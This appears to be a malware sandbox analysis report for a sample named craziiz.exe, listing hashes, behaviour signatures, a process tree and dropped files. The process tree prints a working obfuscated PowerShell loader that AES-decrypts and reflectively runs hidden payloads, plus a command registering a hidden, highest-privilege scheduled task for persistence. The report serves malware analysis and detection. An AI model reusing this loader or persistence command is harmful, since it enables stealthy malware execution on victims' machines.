68efb7a8332b4504485b96570f5f2a9959b81d832e723bf654e59aa820f73e4d

Resubmissions

20/07/2024, 10:19

240720-mcxjtaxfnn8

20/07/2024, 10:17

240720-mbvc3a1ejd8

20/07/2024, 10:15

240720-man5na1dng8

Analysis

max time kernel
140s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 10:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
craziiz.exe
Size 19.2MB
Sample240720-mbvc3a1ejd
SHA256 68efb7a8332b4504485b96570f5f2a9959b81d832e723bf654e59aa820f73e4d
MD5 23c8a0898eb62951996a941d38335b08
SHA1 96f584613b0c35ae206d569db76c97d9b5ac221c
SHA512 130756ca4e45596361ade6ce5143a6bcb94acc6305c7f774cec59f4ef5984c3e9fdfd68471f8fbb4786781c52e06b207f7f9a1356894684ba83afd35924389f1
SSDEEP 393216:2bdrQcQV3iiD6BFcltgFwcIClpBmyR2dKZLdzECuBm0O1Y1L:2xCVSE3lXcICj6KZLND6h1L
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe
2572	powershell.exe
4396	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	craziiz.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
4356	ArmDotSetup_2024.6.0.0.exe
4372	ArmDotSetup_2024.6.0.0.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5076	4396	WerFault.exe	106

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2760	powershell.exe
2760	powershell.exe
2572	powershell.exe
2572	powershell.exe
4396	powershell.exe
4396	powershell.exe
4396	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeIncreaseQuotaPrivilege	2572	powershell.exe
Token: SeSecurityPrivilege	2572	powershell.exe
Token: SeTakeOwnershipPrivilege	2572	powershell.exe
Token: SeLoadDriverPrivilege	2572	powershell.exe
Token: SeSystemProfilePrivilege	2572	powershell.exe
Token: SeSystemtimePrivilege	2572	powershell.exe
Token: SeProfSingleProcessPrivilege	2572	powershell.exe
Token: SeIncBasePriorityPrivilege	2572	powershell.exe
Token: SeCreatePagefilePrivilege	2572	powershell.exe
Token: SeBackupPrivilege	2572	powershell.exe
Token: SeRestorePrivilege	2572	powershell.exe
Token: SeShutdownPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeSystemEnvironmentPrivilege	2572	powershell.exe
Token: SeRemoteShutdownPrivilege	2572	powershell.exe
Token: SeUndockPrivilege	2572	powershell.exe
Token: SeManageVolumePrivilege	2572	powershell.exe
Token: 33	2572	powershell.exe
Token: 34	2572	powershell.exe
Token: 35	2572	powershell.exe
Token: 36	2572	powershell.exe
Token: SeIncreaseQuotaPrivilege	2572	powershell.exe
Token: SeSecurityPrivilege	2572	powershell.exe
Token: SeTakeOwnershipPrivilege	2572	powershell.exe
Token: SeLoadDriverPrivilege	2572	powershell.exe
Token: SeSystemProfilePrivilege	2572	powershell.exe
Token: SeSystemtimePrivilege	2572	powershell.exe
Token: SeProfSingleProcessPrivilege	2572	powershell.exe
Token: SeIncBasePriorityPrivilege	2572	powershell.exe
Token: SeCreatePagefilePrivilege	2572	powershell.exe
Token: SeBackupPrivilege	2572	powershell.exe
Token: SeRestorePrivilege	2572	powershell.exe
Token: SeShutdownPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeSystemEnvironmentPrivilege	2572	powershell.exe
Token: SeRemoteShutdownPrivilege	2572	powershell.exe
Token: SeUndockPrivilege	2572	powershell.exe
Token: SeManageVolumePrivilege	2572	powershell.exe
Token: 33	2572	powershell.exe
Token: 34	2572	powershell.exe
Token: 35	2572	powershell.exe
Token: 36	2572	powershell.exe
Token: SeIncreaseQuotaPrivilege	2572	powershell.exe
Token: SeSecurityPrivilege	2572	powershell.exe
Token: SeTakeOwnershipPrivilege	2572	powershell.exe
Token: SeLoadDriverPrivilege	2572	powershell.exe
Token: SeSystemProfilePrivilege	2572	powershell.exe
Token: SeSystemtimePrivilege	2572	powershell.exe
Token: SeProfSingleProcessPrivilege	2572	powershell.exe
Token: SeIncBasePriorityPrivilege	2572	powershell.exe
Token: SeCreatePagefilePrivilege	2572	powershell.exe
Token: SeBackupPrivilege	2572	powershell.exe
Token: SeRestorePrivilege	2572	powershell.exe
Token: SeShutdownPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeSystemEnvironmentPrivilege	2572	powershell.exe
Token: SeRemoteShutdownPrivilege	2572	powershell.exe
Token: SeUndockPrivilege	2572	powershell.exe
Token: SeManageVolumePrivilege	2572	powershell.exe
Token: 33	2572	powershell.exe
Token: 34	2572	powershell.exe
Token: 35	2572	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2912 wrote to memory of 248	2912	craziiz.exe	87
PID 2912 wrote to memory of 248	2912	craziiz.exe	87
PID 2912 wrote to memory of 248	2912	craziiz.exe	87
PID 248 wrote to memory of 4560	248	cmd.exe	90
PID 248 wrote to memory of 4560	248	cmd.exe	90
PID 248 wrote to memory of 4560	248	cmd.exe	90
PID 248 wrote to memory of 2760	248	cmd.exe	91
PID 248 wrote to memory of 2760	248	cmd.exe	91
PID 248 wrote to memory of 2760	248	cmd.exe	91
PID 2760 wrote to memory of 2572	2760	powershell.exe	99
PID 2760 wrote to memory of 2572	2760	powershell.exe	99
PID 2760 wrote to memory of 2572	2760	powershell.exe	99
PID 2760 wrote to memory of 1424	2760	powershell.exe	102
PID 2760 wrote to memory of 1424	2760	powershell.exe	102
PID 2760 wrote to memory of 1424	2760	powershell.exe	102
PID 1424 wrote to memory of 3632	1424	WScript.exe	103
PID 1424 wrote to memory of 3632	1424	WScript.exe	103
PID 1424 wrote to memory of 3632	1424	WScript.exe	103
PID 3632 wrote to memory of 632	3632	cmd.exe	105
PID 3632 wrote to memory of 632	3632	cmd.exe	105
PID 3632 wrote to memory of 632	3632	cmd.exe	105
PID 3632 wrote to memory of 4396	3632	cmd.exe	106
PID 3632 wrote to memory of 4396	3632	cmd.exe	106
PID 3632 wrote to memory of 4396	3632	cmd.exe	106
PID 4396 wrote to memory of 4356	4396	powershell.exe	110
PID 4396 wrote to memory of 4356	4396	powershell.exe	110
PID 4396 wrote to memory of 4356	4396	powershell.exe	110
PID 4356 wrote to memory of 4372	4356	ArmDotSetup_2024.6.0.0.exe	113
PID 4356 wrote to memory of 4372	4356	ArmDotSetup_2024.6.0.0.exe	113
PID 4356 wrote to memory of 4372	4356	ArmDotSetup_2024.6.0.0.exe	113

C:\Users\Admin\AppData\Local\Temp\craziiz.exe
"C:\Users\Admin\AppData\Local\Temp\craziiz.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2912
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uhfM5Ekrw+ocGOKftnYSyasYRZICC7P0NnnY/5IJf88='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DB+I746Y3DoHXqOsfJWvzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pZbag=New-Object System.IO.MemoryStream(,$param_var); $XGRdT=New-Object System.IO.MemoryStream; $oFTsX=New-Object System.IO.Compression.GZipStream($pZbag, [IO.Compression.CompressionMode]::Decompress); $oFTsX.CopyTo($XGRdT); $oFTsX.Dispose(); $pZbag.Dispose(); $XGRdT.Dispose(); $XGRdT.ToArray();}function execute_function($param_var,$param2_var){ $cGsoe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $onmhY=$cGsoe.EntryPoint; $onmhY.Invoke($null, $param2_var);}$LpXdB = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat';$host.UI.RawUI.WindowTitle = $LpXdB;$JpiRJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LpXdB).Split([Environment]::NewLine);foreach ($PtFHO in $JpiRJ) { if ($PtFHO.StartsWith('sqAngQnziQIztPnNNXoF')) { $Vyenk=$PtFHO.Substring(20); break; }}$payloads_var=[string[]]$Vyenk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4560
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_551_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_551.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2572
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_551.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1424
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_551.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3632
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uhfM5Ekrw+ocGOKftnYSyasYRZICC7P0NnnY/5IJf88='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DB+I746Y3DoHXqOsfJWvzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pZbag=New-Object System.IO.MemoryStream(,$param_var); $XGRdT=New-Object System.IO.MemoryStream; $oFTsX=New-Object System.IO.Compression.GZipStream($pZbag, [IO.Compression.CompressionMode]::Decompress); $oFTsX.CopyTo($XGRdT); $oFTsX.Dispose(); $pZbag.Dispose(); $XGRdT.Dispose(); $XGRdT.ToArray();}function execute_function($param_var,$param2_var){ $cGsoe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $onmhY=$cGsoe.EntryPoint; $onmhY.Invoke($null, $param2_var);}$LpXdB = 'C:\Users\Admin\AppData\Roaming\Windows_Log_551.bat';$host.UI.RawUI.WindowTitle = $LpXdB;$JpiRJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LpXdB).Split([Environment]::NewLine);foreach ($PtFHO in $JpiRJ) { if ($PtFHO.StartsWith('sqAngQnziQIztPnNNXoF')) { $Vyenk=$PtFHO.Substring(20); break; }}$payloads_var=[string[]]$Vyenk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:632
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4396
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX0\ArmDotSetup_2024.6.0.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\ArmDotSetup_2024.6.0.0.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4356
        
        C:\Users\Admin\AppData\Local\Temp\is-RAJP2.tmp\ArmDotSetup_2024.6.0.0.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-RAJP2.tmp\ArmDotSetup_2024.6.0.0.tmp" /SL5="$70296,4618371,121344,C:\Users\Admin\AppData\Local\Temp\RarSFX0\ArmDotSetup_2024.6.0.0.exe"
        8⤵
        Executes dropped EXE
        
        PID:4372
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe"
        7⤵
        
        PID:3220
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 2596
        7⤵
        Program crash
        
        PID:5076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4396 -ip 4396
1⤵
PID:1612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff
MD5 55d32bc1c206428fe659912b361362de
SHA1 7056271e5cf73b03bafc4e616a0bc5a4cffc810f
SHA512 2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 9b946b062865f68b9f0f43a011d33d7ea0926a3c8f78fb20d9cab6144314e1bd
MD5 3337d66209faa998d52d781d0ff2d804
SHA1 6594b85a70f998f79f43cdf1ca56137997534156
SHA512 8bbd14bd73111f7b55712f5d1e1b727e41db8e6e0c1243ee6809ff32b509e52dec7af34c064151fb5beccd59dda434a3f83abe987c561a25abfbb4cbcf9c7f1f
SSDEEP 1536:heYaC+jH04tAHkCSMrxyNhftflJdPYoFi3j39MVvjMLUsszyhMUp7Fv+Eca5b/h8:8YaC+jH04tAHk5MrxyNhftflJdPYoFiA
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 20KB
SHA256 a13bfb5dfb53ccab38adc2a79589e2f8c8fc7f71f2f03f076a1a86977f8f7068
MD5 a22a4c1853c3de1fecf490f718c1fc45
SHA1 ab1bb1264a9148cbf33d7d96655d5c24825e907f
SHA512 38cafbeb1199f9d4b57dad7fdf7ab500ebe77342f4fd62e6c81ad52c0d5eedca691a38b9025992dd6ecfc90ef2e0c6bb3d11cadb8d23aa675e0b8f5e20bb4dba
SSDEEP 384:Mrf+Cy+o9p++vn7IB6iotJk1F9o2TxK6seYbne2x/xonLYbiU0dw5Bt9KXT/9JoU:Gftyxjslo8to2TxN+nZYYuX6Bt96or4
MD5 SHA1 SHA512 SSDEEP

Submit Download

ArmDotSetup_2024.6.0.0.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\ArmDotSetup_2024.6.0.0.exe
Size 4.8MB
SHA256 6d65f3a8e20c01964a7ee7d0ad19d85ef60946024d364bded0840d7ea7d0649e
MD5 177e36988c49a89063ad36bc7cb690ec
SHA1 784d0030d9b270521806fea2f8c2265ef94a0ef8
SHA512 93fa7493d25315b898880bc7f6a54206a22a339dc9922f63688cb1dfdd935b3cb6ebdde602c5415aea2920d0d51fde9e6737f12cc4b332242dc8eacd2c3c5dc9
SSDEEP 98304:+olMNtAYgHbI9NQ3FiideN4cjyN7gDBtHj4zGECCbE+mR1y/TY77dsiElTo6VvaI:+olMNrKI9NqIN4cjyN7gDBezGEdVE2kG
MD5 SHA1 SHA512 SSDEEP

Submit Download

skuld.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat
Size 24.4MB
SHA256 50e1ff826b6c14a386107504fe2af420c295b538da3227284f427cbaf0c8a098
MD5 cf638de94cae2c43e062d62d05ec4126
SHA1 2d2a77f5f8f0b980b119f689b03683cb5ebe1d76
SHA512 080850bcf4390646f8fe15406be295df7ddfb9772b0dd47fd6a30aa180c257139ee8dc826f97ebaaf435cd7f5b68ea8fd50c909d01dcb641132812ff9682bf7a
SSDEEP 49152:BvpdtPQYmuA3xz163dhUWLuYvk9hu8iAlE7sa6eT7k26sMZbEA9dxebx3kEejqNT:Bz
MD5 SHA1 SHA512 SSDEEP

Submit Download

skuld.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
Size 9.5MB
SHA256 18577118bb2fd0e15e0c464888dda5b4f10e57afb84ab21a21b8a64f73f222e0
MD5 01f8effb01e37f4912038bbd3a9da6f7
SHA1 a997ccdff928f00d7ffec0bb2d87b4686f0163da
SHA512 f9c8369c002a021f77f8a05c2d82b38d6fd9c544b944ce8a0ad5100005d5c3ea24d553936e2bea8758d21dbbd26dea3b4800eb1d429d1daf43d549826609eece
SSDEEP 98304:0D1THBA4dZtiXeAv7uyHPMAlHrgDEApzTLv9pSEsvp6Cs+N9fO:8ThA4dZtyHPMAFrgQAJif
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_5a4sk3q3.uww.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5a4sk3q3.uww.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

ArmDotSetup_2024.6.0.0.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-RAJP2.tmp\ArmDotSetup_2024.6.0.0.tmp
Size 1.1MB
SHA256 c28a832f195cc6f0d9428159c3f72f58515c8524446885a53271600b5b63728e
MD5 8b4c8a48908a6c6f3f0562c3d35de267
SHA1 b246a28ce7c198a65434461f785c9d617055dbba
SHA512 33b4874d5ed77964c85a8a4af872f29a6fdaa4a187c4b6a79da5a753d863837f3cd72af5e6297f1afa89c0ea080bacab11d2f8d4543f9c5c833ba625f091be17
SSDEEP 24576:xtdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt5lTxytF:vqTytRFk6ek1Lg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows_Log_551.vbs

Path C:\Users\Admin\AppData\Roaming\Windows_Log_551.vbs
Size 115B
SHA256 c8fb316eca80c9440509fdd7d2da6a1f43f41245450fcd260f437b44b05c0e68
MD5 41d84ddd828b049adb1ad6cf416b4368
SHA1 a804e650d2f59f07c5a0dd983a5cc7a9dd7852d5
SHA512 cc18a0ae1a2a2d709eb6dd453b2b46d8a34787364bd88199083de90817d266d5b06fb575126a5e7c363c9c7c9e894d538c9d16718a158072b6491ca69cd2903f
MD5 SHA1 SHA512

Submit Download

memory/2572-43-0x000000006F630000-0x000000006F67C000-memory.dmp

Download

memory/2572-42-0x0000000006E30000-0x0000000006E62000-memory.dmp

Download

memory/2572-57-0x00000000071E0000-0x00000000071F1000-memory.dmp

Download

memory/2572-56-0x0000000007270000-0x0000000007306000-memory.dmp

Download

memory/2572-55-0x0000000007040000-0x000000000704A000-memory.dmp

Download

memory/2572-54-0x0000000006EA0000-0x0000000006F43000-memory.dmp

Download

memory/2572-53-0x0000000006E70000-0x0000000006E8E000-memory.dmp

Download

memory/2760-30-0x0000000046EB0000-0x0000000048680000-memory.dmp

Download

memory/2760-68-0x0000000072D6E000-0x0000000072D6F000-memory.dmp

Download

memory/2760-22-0x00000000057A0000-0x0000000005AF4000-memory.dmp

Download

memory/2760-31-0x0000000048C30000-0x00000000491D4000-memory.dmp

Download

memory/2760-28-0x0000000007010000-0x000000000702A000-memory.dmp

Download

memory/2760-27-0x0000000007670000-0x0000000007CEA000-memory.dmp

Download

memory/2760-11-0x0000000005040000-0x00000000050A6000-memory.dmp

Download

memory/2760-26-0x0000000006F70000-0x0000000006FE6000-memory.dmp

Download

memory/2760-25-0x0000000006E00000-0x0000000006E44000-memory.dmp

Download

memory/2760-24-0x0000000005E70000-0x0000000005EBC000-memory.dmp

Download

memory/2760-23-0x0000000005C60000-0x0000000005C7E000-memory.dmp

Download

memory/2760-12-0x0000000005710000-0x0000000005776000-memory.dmp

Download

memory/2760-10-0x0000000072D60000-0x0000000073510000-memory.dmp

Download

memory/2760-29-0x0000000000D30000-0x0000000000D38000-memory.dmp

Download

memory/2760-69-0x0000000072D60000-0x0000000073510000-memory.dmp

Download

memory/2760-9-0x0000000004DA0000-0x0000000004DC2000-memory.dmp

Download

memory/2760-80-0x0000000072D60000-0x0000000073510000-memory.dmp

Download

memory/2760-8-0x0000000072D60000-0x0000000073510000-memory.dmp

Download

memory/2760-7-0x00000000050E0000-0x0000000005708000-memory.dmp

Download

memory/2760-6-0x0000000002780000-0x00000000027B6000-memory.dmp

Download

memory/2760-5-0x0000000072D6E000-0x0000000072D6F000-memory.dmp

Download

memory/4356-100-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/4356-107-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/4356-117-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/4372-108-0x0000000000400000-0x000000000052D000-memory.dmp

Download

memory/4372-110-0x0000000000400000-0x000000000052D000-memory.dmp

Download

memory/4372-112-0x0000000000400000-0x000000000052D000-memory.dmp

Download

memory/4372-115-0x0000000000400000-0x000000000052D000-memory.dmp

Download